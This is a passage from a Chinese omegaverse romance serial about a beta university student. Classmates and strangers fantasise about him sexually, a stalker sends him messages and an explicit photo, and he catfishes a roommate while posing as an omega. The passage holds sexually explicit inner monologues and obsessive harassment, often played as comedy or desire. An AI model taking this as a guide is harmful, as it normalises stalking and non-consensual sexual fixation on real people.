男人冷哼一声:“那人跟老爷子有点交情,罚他只是给人个台阶。”他顿了顿,眼底闪过一丝狠厉,“敢对学生下手,打断他三根肋骨都是轻的。”
男人的目光陡然严厉,“你多跟阿沉学,别整天跟那些狐朋狗友厮混。”
季余嘴角的笑意僵了一瞬,点头应着,心里翻白眼。
————
走廊拐角处,几个学生凑在一起,声音压得低却刚好能让路过的人听见。
alpha状似随意地开口,“我先回一趟宿舍。”
“那你快点回来,我和你讲讲唐星野的事,简直太丢beta的脸。”
beta立刻接话,声音带着夸张的嫌恶:“凡是和他走得近的人都会倒霉。唐星野站在场边看了一会,我们班就输了比赛。教练都说从来没见过这么邪门的事。”
alpha垂着眼睫,嘴角几不可察地勾了勾。
——多说点。
——让所有人都避之不及才好。
——这样他就能独占漂亮的、被流言伤得遍体鳞伤的老婆了。
beta瞥见Alpha的微妙表情,在心底冷笑,忍了忍,指甲深深掐进掌心,才忍住没炫耀自己是唐星野的小三。
——蠢货,还真信了这些鬼话。
——他可是和老婆独处一车过,是老婆亲自认可的小三,编外的老公。
——没跟老婆说过话的可怜虫。
他们各怀心思,说说笑笑踏上台阶,却在转角处猛地僵住。
唐星野就坐在那里。
少年单薄的身影坐在台阶角落,侧头看玻璃窗外的水珠,露出一截白皙的后颈。雨天的水汽凝结在玻璃窗上,蜿蜒的水珠在他侧脸投下斑驳的光影,透着一股说不出来的破碎感,让他看起来像只被雨淋湿的漂亮猫猫。
空气瞬间凝固。
alpha的瞳孔骤然收缩,喉结不受控地滚动了一下。
——操。
——老婆连后颈都这么白。
——好想咬上去,用犬齿抵着那块皮肤慢慢磨粉粉嫩嫩的腺体,不仅把老婆欺负哭,还要让滚热的信息素灌满,出去都含着他的信息素,不想被人看到只能用抑制贴堵住。
beta的咽了咽口水,视线黏在那颗漂亮的泪痣。
——想舔。
——想用舌尖舔遍老婆全身。
——按在怀里舔的时候,老婆会不会发出小猫一样的呜咽?
唐星野摩挲着吊坠,忽然转头,清凌凌的目光扫过来。
他的眼眸很美,也很冷,看到他们,闪过一丝厌恶。
淡粉的唇瓣一张一合,吐出:“滚。”
声音冷冽,明明是极尽厌恶的语气,但他们同时脊椎窜过一阵酥酥麻麻的电流,隐秘的快感升腾起来。
——操,被老婆骂得好爽。
——要疯了,老婆连骂人都这么好听……
——想跪下来舔老婆的鞋尖,被老婆用脚踩,看他冷着脸骂"恶心"。
——不装了,他就想当老婆的狗,老婆不高兴,踹他一脚。被踹疼了也要摇着尾巴爬回去,蹭老婆的腿。嘿嘿,想想就好爽。
唐星野看着这群人突然安静如鸡,蹙眉发现他们眼神闪躲,然后脸红,甚至有人没站稳地滚下楼梯。
最诡异的是,那个摔得满脸是血的Alpha,居然很快地从地上爬起来,看着他,痴痴地笑了起来,然后同手同脚地走了。
“……”
这群人……是不是有什么毛病?
“唐星野。”
听到有人在喊自己的名字,唐星野余光就看到是林墨,他从对面的自习室那边走出来,站在他面前。
这里是教学楼的角落,林墨习惯来这里自习。
“拿上这个,回宿舍吧。”
林墨递过来一把雨伞,伞骨是冷银色的,伞面是哑光的黑,布料厚实,看起来是很贵的雨伞。
熟悉的薄荷信息素萦绕鼻尖。
唐星野有点恍惚地接过,触碰到伞柄,被金属特有的凉意冰了一下,但很快适应了这种温度。
“如果你哭的话,会很吵,你带上它,去哪都行。”
唐星野看了林墨一眼,似乎看懂他在想什么,淡然开口,“没哭。”
“我不会哭的。”
林墨盯着唐星野的脸,纤长的睫毛颤抖,清冷的眉眼笼罩忧愁,心情确实不是很好,但也没有哭过的痕迹。
唐星野面无表情地把雨伞还给林墨,他不需要他们可怜的施舍,反正不是真心的。
林墨和他关系算不上好,这突如其来的关心,也不过是怕他吵闹,影响他学习。想得更坏点,说不定林墨借伞,就为了嘲讽他,平时装得多清高,还不是要用他林墨的伞。
林墨皱了皱眉,声音冷了些,“我是怕你感冒传染给其他人。”
“比起感冒,我的倒霉还会传染别人,你现在应该离我远点,避免麻烦找上你。”唐星野掀起眼皮,淡淡地瞥他一眼。
他不信那几个人讨论的时候,林墨一点都没听见。
唐星野站起身,“我要是感冒会去校医院,不回宿舍的,你不用担心你被传染。”
他不再和林墨说话,径直下楼。
—————
唐星野低估雨势,走到宿舍时,他衬衫湿得能拧出水,衬衫湿透后紧贴在身上,勾勒出单薄的身形,发梢不断坠下的水珠在地板上积成小洼。
他的脑子有点乱糟糟的,或许是被扣奖金的不爽,或许是因为刚淋了雨。
唐星野去收衣服,再一次嗅到薄荷味的信息素。
他死死地盯着纯白色的衬衫,感到一种压抑的怒意从心头冒了出来,就是那该死的味道,让他动摇,反反复复地提醒他——
闻泽已经死了。
他知道的,他知道的。
唐星野抿着唇,敛去一丝怀念,眉眼再次变得阴郁。
他胸口有些闷,一股难以名状的燥热在胸腔里翻涌。某种阴暗的念头在脑海中盘旋,鬼使神差地将那件衬衫取下来,丢进他的脏衣篓。
他冷冷地看着纯白的衬衫落在衣篓,盘算着他洗完澡就挂回去,神不知鬼不觉。
反正他没有信息素,林墨那个洁癖肯定察觉不到。
想到林墨穿着这件衬衫的样子,唐星野唇角不自觉勾起一抹笑。
唐星野脱下脏衣服挂在椅背,湿润滚热的水珠安抚着他的心情。洗澡完,身体变得暖暖的,糟糕的心情似乎也被驱散了些。
唐星野站在镜子前,里面照出一身雪白泛粉的皮肉,他摸了摸肌肉时,皱了皱眉,还是太单薄了。
他慢条斯理地穿上裤子,得益于优越的腰臀
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比例,即使不用皮带,裤腰也能完美卡在腰间。
可能是淋雨时间太长,脑子有些发晕。这时他才发现,自己糊涂到连睡衣都扔进了衣篓。没有备用睡衣,他只好从衣篓里翻出套上。
今天睡衣穿起来格外舒服,布料柔软得出奇,还有些宽松,袖口在他手腕堆叠出几道褶皱。
……奇怪?
衣服穿久了还会变大吗?
唐星野下意识抬手,放在鼻尖嗅了嗅。
他忽地惊醒,这是林墨的衣服!
他皱起眉,小声咒骂一句恶心,正要脱下,门把手突然转动——有人回来了!
林墨开灯进屋,目光落在地面未干的水渍上。环视宿舍,只有一张床的帘子紧闭着,不用想都知道是谁弄的。
想着唐星野今天可能心情不好,又淋着一身的雨,林墨忍着没把他喊起来。
唐星野心脏跳得极快,椅子腿摩擦地板的声音刺得他浑身紧绷,这是他第一次做坏事差点被正主抓现行。
好在林墨什么都没说,似乎没发现他的衬衫不见了。
唐星野等了又等,就是没听见浴室玻璃门拉动的声音,只听到塑料袋窸窣的响动。
他本来打算等到林墨去洗澡,偷偷换回自己的衣服,可对方像是听到他的心声,跟他作对般,始终坐在书桌前,连起身的意思都没有。
虽然想立刻脱掉林墨的衣服,但赤裸的身体让他感到羞耻。即使有床帘遮挡,没人看得见,他依然不习惯裸着。
不知道是不是雨天潮湿的水汽原因,那股浅淡的薄荷味更浓了,alpha的信息素溢满鼻息,沁入皮肉,像是种子找到合适肥沃的土壤般疯长。
唐星野神情微微恍惚,极轻地吸气,有些茫然不明白自己怎么了?
他低下头,从手机屏幕的反光中看到自己的模样。
脸泛着被信息素逼出的潮红,唇瓣微微张开,看起来样子有点糟糕,尽管他的神智还是清醒的。
不是闻泽的,只是相同的味道,被其他人的信息素包裹也能感受到欢愉吗?
羞耻与焦躁在胸口翻涌,唐星野恨恨地咬着唇,床帘拉开一个小缝,悄悄地瞧林墨。
防窥屏的蓝光映在林墨侧脸,将他轮廓镀上一层冷硬的边。他滑动鼠标滚轮键,像是在浏览文献。手边还开一袋薯片,颇为悠闲地时不时捻着一片吃。
唐星野瞪着林墨的背影,目光恨不得在白衬衫上烧出个洞来。
这个混蛋明明有洁癖,袖口被雨水打湿了。现在竟然优哉游哉地吃零食?快点去洗澡!
看着林墨慢条斯理地吃薯片,他很想把那袋薯片抢过来砸在那张该死的脸上。
手机突然震动,又是陌生邮件:
骗子:【宝宝,你怎么又拉黑我,是我哪里做的不好?】
骗子:【你留给我的头丝已经没有香味了,给我新的,好不好?或者你的旧衣服、毛巾都可以,我可以出钱买。】
骗子:【对不起,没忍住用宝宝的发丝做了不好的事情。】
一张发丝缠着腺体的照片。
粗壮胀大的腺体,狰狞的凸起,泛红皮肤流出清透的汗滴,打湿了缠绕的发丝。
唐星野不敢点开看这张照片,都不知道对方怎么有脸发出来这种丑东西。
阴魂不散的死变态。
唐星野一脸嫌恶,毫不犹豫地将这人拉黑。
床帘外,林墨的鼠标点击声不紧不慢地响着,规律的节奏像在嘲弄唐星野此刻的焦躁。
唐星野突然冷静下来,林墨的衣柜里永远整齐挂着十多件一模一样的白衬衫,少一件他大概真的不会发现。
他太了解林墨的洁癖了——他连别人不小心碰到的桌角都要用酒精棉片擦三遍,更别说贴身的衣物。
明天这件衬衫会原封不动地挂回去,林墨会发现吗?会发现自己的衣服被一个最讨厌的Beta穿过吗?
最好发现,唐星野恶意地想。
Alpha察觉到异样,暴躁地翻遍整个宿舍却找不到原因。光是想象林墨皱着眉头一脸烦躁却又无可奈何的样子,一阵扭曲的快感就从心底窜上。
被他穿过的衬衫回到林墨手上,肯定能恶心死这个洁癖狂。
这个念头让唐星野的表情突然明媚起来,连窗外的雨声都变得悦耳了几分。
他掏出手机,拍下自己现在的模样。
这件衬衫对他来说实在有些宽大,领口斜斜地滑落至肩头,露出一侧精致的锁骨和半边雪白的肩膀。
指尖在屏幕上轻点,将照片加密保存在“林墨专属”的文件夹,在小本子上记录下自己新的战利品。
做完一切,唐星野的心情顿时舒坦了。
林墨一定会气炸吧?
他抱着本子,像抱着最得意的战利品,心满意足地闭上眼。
11.道歉
“你他妈疯了?为了个beta打我?”
季余踉跄着从地上里爬起来,衣服上沾满灰尘,他吐掉嘴里的血沫,恨恨地盯着眼前压着他打的alpha。
alpha站在逆光处,阳光给他锋利的轮廓镀上一层金边。他歪了歪头,耳垂上的银质耳钉闪过一道冷光。
“滥用家里权力随便扣人钱,”季沉轻笑一声,“你很能耐?”
“爸!” 季余突然转头看向路过捧着保温杯的中年男人,声音里带着哭腔,“你就这么舍得看你儿子被人打?”
“当然不舍得啊,”男人幽幽地叹了一口气,季余眼中闪过一丝希冀——毕竟父亲是季沉的长辈,总该......
男人拧开杯盖,慢悠悠吹开浮在上面的茶叶。在季余期待的目光中,嘬了一口茶后,转身就抬脚走,“所以我不看,去批改学生论文。季沉别下手太重,活着就行。”
“老东西!我到底是不是你亲生的?!”季余睁大眼睛,忍不住破口大骂。
“你还有脸说,”男人的声音混着脚步声渐渐远去,“这次是beta,下次呢?我看你以后连强制标记未成年omega的事都敢干!”
“谁他妈对那种那小豆丁有兴趣啊?!”季余怒吼完,下一秒就被一记凌厉的鞭腿扫倒在地。
“好了,撒娇时间结束,现在是教育时间。”
之后季余就被揍得说不出话。
————
下过雨后的天气总算变得晴朗,随着天气的变好,唐星野的心情也好很多。那天之后,他和路至的关系比之前更冷淡疏离,两个人之间像是竖起来一堵厚厚的冰墙。
社团深夜激情小群的人悄悄讨论:
【啧,路至惹老婆不高兴了,死直A癌还不快点给我老婆跪下道歉。】
【路至,给你机会不中用啊,做小三最重要还是要哄人,室友又怎么样?住在一起有什么用,不就天天能偷偷嗅老婆的衣服,偷喝老婆洗澡水吗?哼,我一点都不羡慕……呜呜,老婆让我舔舔你的**。】
【可我刚才在老婆身上闻到alpha的信息素了,是薄荷味,很浓,就像是被标记了一样。】
【!!谁!是谁偷偷愺我老婆!!】
两个新加入社团的omega偷偷瞄着还在认真写材料的唐星野,小声讨论,他们在匿名论坛里早就见过各种偷拍照片,这是第一次见到真人。
对方眉眼清冷漂亮,那副高岭之花的模样看着就想让人狠狠亵玩,把人欺负哭。
【老婆冷脸样子也很美,看我拍给老婆拍的工作照不错吧。】
【图很好,下一秒mine。看着照片,嘿嘿……想想老婆冷着脸骂我,再给我两巴掌,我顶撞老婆得更深了,老婆哭得可怜兮兮的……嘶啊嘶哈……好爽!
对不起,老婆我错了,下次轻点嬷你。】
诡异氛围的变化连沈清都察觉到,她悄悄地拉着唐星野,委婉地询问是不是跟路至闹矛盾了,需要不需要她来做中间人调解。
唐星野垂首,他不知道怎么解释这件事,只能含糊过去。
沈清叹一口气,最后只是嘱咐他,受了委屈要说出来,不要闷在心里。
唐星野看着她担忧的神色,喉咙像是塞满棉花,什么都说不出来,闷闷地应了一声。
这副模样倒是沈清先笑出来,拍了拍他的肩膀,“别露出这种内疚的表情,和室友相处不好没什么的。姐姐我就是怕你因为担心得罪人而委屈自己。有事就要说出来,撒娇可不是omega的特权。”
这话让唐星野更愧疚了。
社团会议室的门被敲响,唐星野像是获救般,转头看过去,是周凛。他站在门口,向唐星野招手,显然有事找他。
因为甜品店被扣钱的事,唐星野不是很想搭理周凛,但沈清还看着他,他不想被学姐担心,还是微微颔首,走了出去。
周凛站在外面,高而挺直。眉骨略高,眉形修长而利落,眼窝深邃却不显凌厉,反而因那微微下垂的眼角带出几分温润的弧度。看人时总带着三分礼貌性的笑意。
唐星野最讨厌他这副假笑的模样,但对方招呼他去跟上来,他犹豫一会还是跟着。
周凛忽然开口,“你最近在躲着路至?”
唐星野:“这话你该问他。”
周凛淡然一笑,语气里听不出来任何歉意,“是我失言。”
唐星野不想兜圈子,率先开口,“你有事找我?”
周凛漾起笑意,“这话说的奇怪,难道没事来找你?”
唐星野很想说不能,不想彻底搞僵室友关系,“那你是想见我?”
周凛古怪地瞥他一眼,“有人想见你。”
在纪律检查部会议室里,alpha叼着棒棒糖,看着缸里的金鱼发呆。
灯光映亮他半边脸,阴影勾勒出锋利的下颌线。五官凌厉,带着桀骜不驯的劲儿,偏偏眉眼间又透着一股未褪的少年气,而显得不那么咄咄逼人。
唐星野鼻尖嗅到碘伏的味道,优先注意到他手腕上缠着的绷带。
alpha察觉到视线,直起身子。他比唐星野高了将近一个头,投下的阴影将唐星野整个笼罩。他从口袋里摸出一根棒棒糖,递过来的动作随意得像是在喂猫。
“要吃糖吗?”
唐星野摇头,他觉得眼前的alpha有点眼熟。
好一会才认出眼前alpha的身份,这是季沉,他接触最少的一位室友。他记得开学第一天,季沉的书桌上就摆着一套价格不菲的文房四宝,还随意放着获得全国书法大赛特等奖的作品。
他曾经偷偷拍下那幅字,一遍遍临摹,试图模仿那种力透纸背的笔势。但他始终没能写出那种既凌厉又洒脱的神韵。
季沉的传闻很多,最出名的大概是军训第一天就和教官动手的事,然后就被家里派来的车接走了。神奇的是,这件事就像投入水中的石子,激起一圈涟漪后就再无下文,既没有处分也没有通报批评。
被拒绝的季沉也不恼,将手收了回去。
“那先解决你的麻烦,”季沉懒洋洋的声音突然一沉,和刚才判若两人,“季余,过来和人道歉。”
季余被人推到前面,踉跄一下才站稳。
唐星野瞧着被揍得鼻青脸肿的季余,对不上他到底是哪位,直到对方说话,才从记忆角落想起——上个月在店里故意找茬的富二代alpha。
季余弯着腰,咬着牙,“对不起,店里的事是我不对,我不该故意骚扰你。”
“都怪那个店长出的主意,”季余急忙补充,“这卡里是我这个月的零花钱,大概有两百万”
唐星野瞥了一眼卡,没有接,“你微信钱包有钱吗?给我转四百,把我被扣的全勤还我。”
季余愣住了,举着卡的手僵在半空。他下意识看向站在一旁的Alpha,得到对方一个警告的眼神后,慌忙掏出手机。
唐星野看着转账成功的提示,轻轻点了点头。
“那你现在原谅我了吗?”季余小心翼翼地问,眼里带着恳切,唐星野的回答决定他接下来的处罚。
唐星野:“这是你应该道的歉,不代表我会原谅你。”
季余脸色瞬间变得惨白,一旁的季沉突然笑出声,咬碎了嘴里的棒棒糖。
“叔同意你去营子呆三个月。”季沉的话证实了季余最坏的猜想,“好好改造。”
“哥!”季余忍不住拔高声音,又在季沉瞥来一眼的目光中噤声。
他想起去年他哥被送回来时的模样——剃得寸头,穿着迷彩服,整个人黑得像炭。
最惊恐的是他哥露出一口白牙,还笑着拍着他的肩膀,“弟啊,好好学习,别老想着玩乐。以后你就知道这些快乐都是一时的,对社会做贡献,做一个脱
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离低级趣味的人才是真正的快乐。”
“好了,不说了,现在营子就是我的家,我要回去了。”
他听完毛骨悚然,睁大眼睛,不敢相信。这还是他认识的喜欢omega、开party、玩豪车的亲哥吗?
他宁愿挨十顿打,也不想去那个鬼地方呆三个月。
唐星野看着季余被带走的背影,轻声说了声:“谢谢。”
季沉摆摆手,“不用,这事还是他们告诉我的,要谢的话应该谢他们,”他指了指周凛,“而且是我要谢你。”
唐星野一顿,但对方没有解答的意思。
“好了,周凛,我要走了,剩下的事情交给你解决。”季沉将棒棒糖的塑料棍随手一弹,精准地落入三米外的垃圾桶。他活动了下肩膀,黑色T恤下的肌肉线条随着动作若隐若现。
周凛问,“你又要去打拳?”
季沉眼睛亮得惊人,整个人像被注入了活力,“是啊,人不打拳,跟不吃饭一样。”
他歪头打量着周凛,嘴角勾起一抹野性的笑,“或者你有兴趣,跟我打一场?”
周凛不动声色地后退半步,“别,我不擅长。”
“欸——”季沉拉长了音,撇撇嘴,“没意思。”
嘴上这么说,可他的神色却没有多少失望。
“那真是我的荣幸。”周凛轻笑一声,“你觉得有意思的人现在都在医院躺着,我可不想成为他们的一员。”
“你可是在新朋友面前污蔑我。”
“那你说说,哪个还完好站着的?”
“他啊,”季沉指了指站一旁的唐星野,眼中闪烁着明亮的光彩,“我觉得他就很有意思啊。”
唐星野正低头查看手机上的账单,闻言抬起头,清冷的眼睛流露出一丝真实的困惑:?
周凛微微蹙眉,面色微妙地笑了,“季沉,他不是……”
“我知道。”季沉抬手打断他,扭头看向唐星野,笑得爽朗,身上的攻击性奇迹般地收敛了几分。他掏出手机晃了晃,“对了,我们加个微信吧。”
见唐星野没有立即回应,季沉微微一笑,露出一颗尖尖的虎牙,“我感觉你会是经常被麻烦找上门的人,如果麻烦找你,你可以来找我。”
他似乎想到什么,又补充一句,“不过,你不要误会,我对你没有喜欢那方面的意思。”
说这话时,他的目光坦荡得近乎天真,仿佛只是在陈述一个再普通不过的事实。
唐星野轻轻挑眉,他自然没自恋到加个联系方式就是喜欢他,只是被人编排久了,这话听着倒是新奇。
季沉离开后,会议室里只剩下唐星野和周凛两人。
周凛笑了笑,“季沉就是这个性格,如果你觉得他冒犯到你了,就直说。”
唐星野不置可否,“哦。”
周凛给他倒一杯水:“如果这件事没被看见,你就这么忍着?”
唐星野喝水的动作一顿,抬眸看他,“不然呢?”
那双乌黑的眼眸像是冰层下流动的湖水,平静而淡然。
周凛沉默了几秒。
是啊,他只是个死了丈夫,无依无靠的小寡夫能有什么办法呢?
唐星野没有说话,继续喝水。
饱满的唇瓣微微张开,含着白色纸杯的边缘。唇瓣沾染水渍,泛着亮晶晶的色泽,勾着人上去想舔干净,而漂亮的主人却是一副安静无辜的模样,像是柔软的霜雪。
周凛的视线在那抹水色上停留了一秒,指腹无意识地摩挲了下杯壁,随即移开了视线。
唐星野垂下眼眸,纤长的睫毛在眼下投下一片阴影,掩饰掉眼底的冷漠。
没有办法吗?
当然不是。
食材保质期、消防设施、后厨卫生、违停的跑车等等,只要稍加操作……
想要不动声色地找些麻烦,还是容易的,不是吗?
12.视频和腹肌照
唐星野有惊无险地把林墨的衬衫放了回去,观察对方的反应,静谧地等了两天,对方像是没事人一样,似乎没有受到什么影响,这让唐星野有点挫败。
他很快就把这件事丢在脑后,开视频会议和小组成员讨论课题。
每次线下会议课题组里alpha都会亢奋地散发很浓烈的信息素,还有别的课题组趴在窗口偷瞄。乱七八糟的信息素熏得唐星野头晕,课题讨论他就只参加线上会议。
课题小组成员只有十多个,但会议室的人数远远超过这个数量,还有人不断申请加入会议,弹幕疯狂滚动着与课题无关的内容。
唐星野没有注意到这个奇怪的现象,他只准备了纸质笔记,漫不经心地把玩着笔。
他没有露脸,视频会议画面只有唇部以下。
淡粉的唇瓣像是雨后的初樱,薄而软,又洇着几分潮湿的艳。
看起来很好亲,也很好舔。
——我傻了,一进来就能亲老婆的嘴。
——我没进错吧,这也不是花市啊……好热……老婆你给我加了什么……
——不是,这课题组的人都吃这么好的吗?呜呜呜我要申请换组。
——我也要!老婆握住我的几,不是,我是说我的笔!
时间一到,唐星野准时开始汇报。
柔软的唇瓣一张一合,唇珠染着一层薄薄的水光。
清冷的声音像玉珠子落在瓷盘上,清脆又带着凉意。说话时不紧不慢的,尾音总是轻轻上扬,像片羽毛扫过耳膜。
——妈妈,他在勾引我。
——嘿嘿,老婆的嘴,流出的水也是香香甜甜的吧。
——宝宝,为什么不骂人,快点骂我是笨蛋。
汇报到关键时,唐星野习惯性用笔尾轻抵下唇,停顿下。金属光泽压着唇肉,洇成薄红的画面让弹幕疯狂刷起:
——老婆,别咬着笔,笔多脏啊,我换根东西给你咬。
——宝宝的嘴好适合含温度计,当然别的柱状物也很好。
唐星野微微蹙眉,曲起手指,指尖敲击桌面,“请不要讨论和课题无关的话题。”
——好的,老婆。
——老婆,啊不是老师,我要是忍不住开小差,你能扇我两巴掌,不是,我是说,能惩罚我,让我清醒下吗?
唐星野:“……”
他将手机镜头下压,让笔记上的字更清晰的展现在屏幕上,指尖点了点刚才讲到的内容,重复了一遍,继续汇报。
冷白修长的手指捻着笔,压着纸面,指尖泛着淡粉,指甲修剪得圆润整齐。指节内侧有一颗小小的红痣,像落在雪地上的朱砂。
这双手很好看,很适合被红丝带缠绕,挣扎,隐忍地蜷缩。
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裴怜盯着手,喉结微动,又想喝水了。
——老师老师,我没听懂。
唐星野懒得纠正他们奇怪的称呼,“哪里我没讲清楚?”
——全部。
已经讲了三遍的唐星野:“……”
回家吧,孩子,你不适合学习。
——老师,我还有好多不懂,你能单独给我讲解吗?我听不懂的时候,你扇我一巴掌,我就会记住了。
——老师,你再教教我吧,我什么都会做的。
唐星野冷淡:“我的内容汇报完了,如果有哪里没讲清楚点,我回去整理好后再发送群里。”
他想了想,补充了一个提议,“或者这样吧,以后我会写好报告,跟裴怜讨论完后,让他转述。”
这个提议像冷水泼进热油锅。弹幕疯狂刷过:
——不要又脏又臭的alpha!我就要香香软软的老婆给我讲!
——老婆是嫌我们太笨了吗呜呜呜!
——我保证认真听讲,求你别换人!
另一边电脑屏幕前的裴怜,看到自己被嫌弃死的弹幕:“……”
呵。
唐星野:“我下次汇报时,请大家认真听。”
听到还有下次,弹幕立刻乖巧地刷起一片好字。
唐星野点点头,退出了会议室,结束了这次汇报。
他突然觉得自己好像忘了什么,恍然想起这两天自己忙着课题报告,就直接开了免打扰。
这段时间他靠着单纯omega的人设和坚持不懈地给路至发消息,对方从爱搭不理变成几乎秒回他的消息。
唐星野颇为欣慰,自己揭露路至丑恶嘴脸的大业即将成功。可不能在关键时候功亏一篑,他连忙想着给路至发消息。
刚点开软件,路至的消息就弹出来了。
L:【刚下课?吃饭没有?】
熟悉的提问让唐星野蹙眉,冷淡地打了“没”字就发出去。
想想不太符合糖心的人设,他又找补两句:
糖心:【呜呜哥哥,今天课程太满了,还没吃饭,忘记回你消息了。】
糖心:【这么久不回消息,哥哥你生气了?】
L:【这两天,你没回我,还以为你出事。】
L:【没事就行,快点去吃饭吧,别饿晕倒了。】
糖心:【我吃过泡面了,身体没那么差的。】
糖心:【嘿嘿,如果哥哥做我的室友,肯定会把我照顾的很好,提醒我按时吃饭的。】
L:【你在哪个城市?】
这个问题让唐星野心头一跳,路至问这个不会是想要线下面基吧?
他旋即冷笑,他就知道路至就是色鬼,这么快就想约omega见面。
糖心:【A市啊。】
唐星野发完这条消息,指尖悬在屏幕上方,脑子飞速运转。他得编个足够远的学校,最好是那种来回要三四个小时的地方,这样以后找借口不见面也合情合理。
A市艺术学院?不行,离他们学校太近了。A市外国语学院?好像也在大学城范围内...
正当他犹豫时,对方的消息突然跳出来,打断了他的思绪。
L:【地址给我。】
简单的四个字让唐星野手指一颤。这也太直接了吧?
果然渣男本性暴露,这么快就想套omega地址。
他撇撇嘴,正准备随便编个远郊的学校地址,路至又发来两条消息。
L:【你别误会,你说家里的裙子都被水泡坏了,我给你买新的,同城急送。】
L:【别发你住的地方,留一个你方便收货的地址,你学校附近的驿站之类。我们之间还不是很熟,你没有必要给我详细地址,如果有人问你,你不要乱给。】
唐星野:……?
他确实随口编了个"家里水管爆了把衣柜都淹了"的借口,来解释为什么不能发穿裙子的照片。但没想到路至不仅记住了,还要给他买新裙子?路至居然在教他如何保护隐私安全?
糖心:【哎呀,怎
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么能让哥哥破费呢?而且我也没有那么笨啊,如果有人要的话,我肯定也不会给他详细地址,我只会说我在哪个楼啊。】
L:【楼也不要给,万一有人蹲你怎么办?你一个omega会很危险的。】
唐星野拧起了眉,这还是他认识的路至吗?
不过他在学校能有什么危险,总不会有变态跟踪狂骚扰他吧,而且他一个beta穿什么裙子。
糖心:【知道了,哥哥。裙子真的不用你送了,我会自己买新的裙子。】
L:【那你喜欢吃什么水果?】
问他的喜好,路至是进入恋爱模式了吗?
唐星野思考了下,他吃过的水果不算多,苹果、梨之类常见的吃过。
但那些摆在精品超市冷柜里、贴着昂贵价签的水果,他向来都是远远看上一眼就快步走开。唯一称得上奢侈的体验,就是上次周凛请他吃的榴莲披萨味道挺不错的,榴莲应该也很好吃。
L:【算了,这没什么好问的。】
唐星野:?
他还不知道没有及时回答这个问题的后果,就是隔天收到十几箱各类的水果快递通知,菲律宾的芒果、日本晴王葡萄、泰国山竹,当然其中也包括金枕榴莲。
糖心:【哥哥你最近在忙什么啊?】
L:【锻炼。】
糖心:【欸?那哥哥有腹肌吗?】
对方沉默了一会,对话框上方反复显示“对方正在输入…”,似乎在斟酌地用词。
L:【……你想看?】
糖心:【小猫捂脸.jpg】
L:【要吗?】
糖心:【要!】
铃声一响,唐星野手一抖,差点把手机摔了——
聊天界面突然弹出视频通话请求。
唐星野立马摁掉。
糖心:【哥哥我现在回宿舍了,不方便接。】
L:【语音呢?】
糖心:【小猫哭哭.jpg】
L:【哦。】
糖心:【哥哥生气啦?】
L:【没。】
糖心:【哥哥,你可以发照片给我呀。】
唐星野抱着水瓶喝水,扯了扯嘴角,心想看路至能装温柔到什么时候。
几秒钟后,对方发来了一张照片。
拍摄角度很低,只到胸肌下方,但足以看出对方身材极好。腹肌线条分明得像刀刻,水珠顺着肌肉的沟壑滑下,人鱼线深深没入裤腰,消失在运动裤边缘。
唐星野的视线不受控制地顺着水珠下移——
“咳、咳咳!”
他猛地被水呛到,脸颊烧得发烫。屏幕里那处惊人的隆起在眼前挥之不去,运动布料勾勒出的形状简直触目惊心。
????这是人能长出的大小吗?
他呆滞了几秒,猛地拍桌子。
“嘶——”
掌心火辣辣的痛感让他瞬间清醒,连忙对着通红的手心吹气。
呜,可恶,喉结比不过林墨就算了,为什么这方面他还是比不过!
这就是含着金汤匙出生的Alpha吗?太恐怖了!
L:【……你满意吗?】
这话透着小心翼翼的意味。
满意个鬼啊?!
唐星野咬牙切齿地看着屏幕上路至的照片,指尖狠狠地戳那处鼓胀的弧度,仿佛这样就能让它缩水似的。
变态!
变态!
13.脸红
“唐星野。”
唐星野的耳边炸起一道惊雷,他像是惊醒般收回手,手机猛地扣在桌面上。
“欸?吓到你了?”季沉后退一步。
唐星野仿佛偷看什么违禁书被人抓包,心跳得很快,眨眨眼,“你刚才在说什么?”
季沉嘴里还咬着棒棒糖,微微挑眉,目光落在他泛红的耳尖上,颇为关心道:“看你对手机发呆,就问问你脸怎么这么红?”
“啊?”唐星野稳住心神,“我有点热。”
唐星野感受到灼热的气息,鼻息都是荷尔蒙和信息素的味道,注意到季沉的胸膛起伏,肱二头肌鼓起,筋络如藤蔓缠绕。汗水浸透的背心贴在身上,半透明地勾勒出肌肉轮廓。
alpha的力量感和野性扑面而来。
看起来是刚完打拳回来。
唐星野视线快速下撇又很快收回来,指尖微微蜷缩。
……一个个都这么大干嘛?!
“那开空调吧。”季沉准备去取遥控器。
唐星野摇头,找了借口顺势起身,“我去走廊上吹风就行,你刚运动完不宜吹冷气。”
他推门到走廊拐角,继续回复消息。
L:【为什么不说话?】
唐星野咬了咬下唇,恶狠狠地敲字。
糖心:【哥哥,你那里好大哦。】
消息发完,唐星野起了一身鸡皮疙瘩,他为什么要夸那个混蛋?!
不过路至发这种不就想听人夸,这下尾巴不得翘到天上去!
L:【你喜欢吗?以后可以给你摸。】
唐星野:……这是性骚扰吧,叫omega摸那里?!
他冷笑着准备截图,作为揭发路至真面目的关键证据。
L:【现在肌肉还不够大,你等我再锻炼下,手感会更好一点。】
唐星野的手指僵在半空。
……哦,是说肌肉啊。
还以为自己终于抓到路至的把柄,结果并没有,唐星野伤心了一小会,垂头丧气地关掉截图软件。
虽然本人很难过,但糖心也没跟着伤心。
糖心:【好哦,谢谢哥哥!】
L:【你还是还想看,可以跟我说。】
糖心:【哥哥你真好,我最喜欢哥哥了!】
发完,唐星野冷笑,下次叫你拍脸,你也会同意吧。
这回对方倒是沉默了好一会,才发来消息。
L:【别随便说这句话,你会后悔的。】
后悔?
唐星野咀嚼这两个字,冷哼一声。他唐星野做事什么时候后悔过?
糖心:【没有很随便,我说的每一句话都是很认真的。】
糖心:【对你,我不会后悔的。】
——有本事,你就让我后悔试试?
屏幕另一头的路至眼眸一缩,盯着这两句话,像是锁定了猎物。
对话框陷入长久的沉默,唐星野轻嗤一声,正想再发点什么挑逗暧昧的话,却忽然觉得脊背一凉。
不知道是不是唐星野的错觉,莫名觉得对面的目光穿透屏幕,死死锁住他。像是无数条触须从屏幕里蜿蜒爬出,顺着他的指尖缠绕而上。它们滑过他的手腕,钻进袖口,缠绕着他,正在往更深处探索。
唐星野晃了晃脑袋,路至现在走柏拉图恋爱路线,他怎么会有这种被盯上的幻觉?肯定是走廊的风太冷了。
与此同时,某高级公寓内。
周凛刚推开门就被扑面而来的浓郁可可味呛得后退半步,alpha之间的信息素排斥让他太阳穴突突直跳。客厅里一片狼藉,抱枕散落一地,玻璃茶几上歪倒着几个空抑制剂注射器。
他皱眉,“我说兄弟,你这假性易感……不如找季沉打一架,他肯定很乐意奉陪。”
